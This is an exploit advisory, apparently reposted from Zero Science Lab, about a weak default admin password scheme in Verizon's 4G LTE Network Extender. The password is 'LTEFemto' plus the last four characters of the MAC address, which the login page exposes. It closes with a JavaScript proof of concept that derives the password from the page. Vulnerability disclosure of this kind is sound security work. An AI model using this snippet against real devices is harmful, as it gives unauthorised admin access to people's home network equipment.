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Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm
Posted Apr 13, 2022
Authored by LiquidWorm | Site zeroscience.mk

Verizon's 4G LTE Network Extender is utilizing a weak default admin password generation algorithm. The password is generated using the last 4 values from device's MAC address which is disclosed on the main webUI login page to an unauthenticated attacker. The values are then concatenated with the string LTEFemto resulting in something like LTEFemtoD080 as the default Admin password. Versions GA4.38 through 0.4.038.2131 are affected.

tags | exploit
SHA-256 | 59ce4ad0a80db9115ae14b1ebb563c934a8d4e694bb93586a6f38b338e1ab98d

Verizon 4G LTE Network Extender 0.4.038.2131 Weak Credential Algorithm

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Verizon 4G LTE Network Extender Weak Credentials Algorithm


Vendor: Verizon Communications Inc.
Product web page: https://www.verizon.com
Affected version: GA4.38 - V0.4.038.2131

Summary: An LTE Network Extender enhances your indoor and 4G
LTE data and voice coverage to provide better service for your
4G LTE mobile devices. It's an extension of our 4G LTE network
that's placed directly in your home or office. The LTE Network
Extender works with all Verizon-sold 4G LTE mobile devices for
4G LTE data service and HD Voice-capable 4G LTE devices for voice
service. This easy-to-install device operates like a miniature
cell tower that plugs into your existing high-speed broadband
connection to communicate with the Verizon wireless network.

Desc: Verizon's 4G LTE Network Extender is utilising a weak
default admin password generation algorithm. The password is
generated using the last 4 values from device's MAC address
which is disclosed on the main webUI login page to an unauthenticated
attacker. The values are then concatenated with the string
'LTEFemto' resulting in something like 'LTEFemtoD080' as the
default Admin password.

Tested on: lighttpd-web


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2022-5701
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5701.php


17.02.2022

--


snippet:///Exploit
//
// Verizon 4G LTE Network Extender Super Awesome JS Exploit
//

console.log("Calling 'isDefaultPassword' API");
let req = new Request("/webapi/isDefaultPassword");
let def = req.url;

const doAjax = async () => {
const resp = await fetch(def);
if (resp.ok) {
const jsonyo = await resp.json();
return Promise.resolve(jsonyo);
} else {
return Promise.reject("Smth not rite captain!");
}
}
doAjax().then(console.log).catch(console.log);

await new Promise(t => setTimeout(t, 1337));

console.log("Verizon Admin Password: ");
let mac = document.querySelector("#mac_address").innerHTML;
console.log("LTEFemto" + mac.substr(-4));
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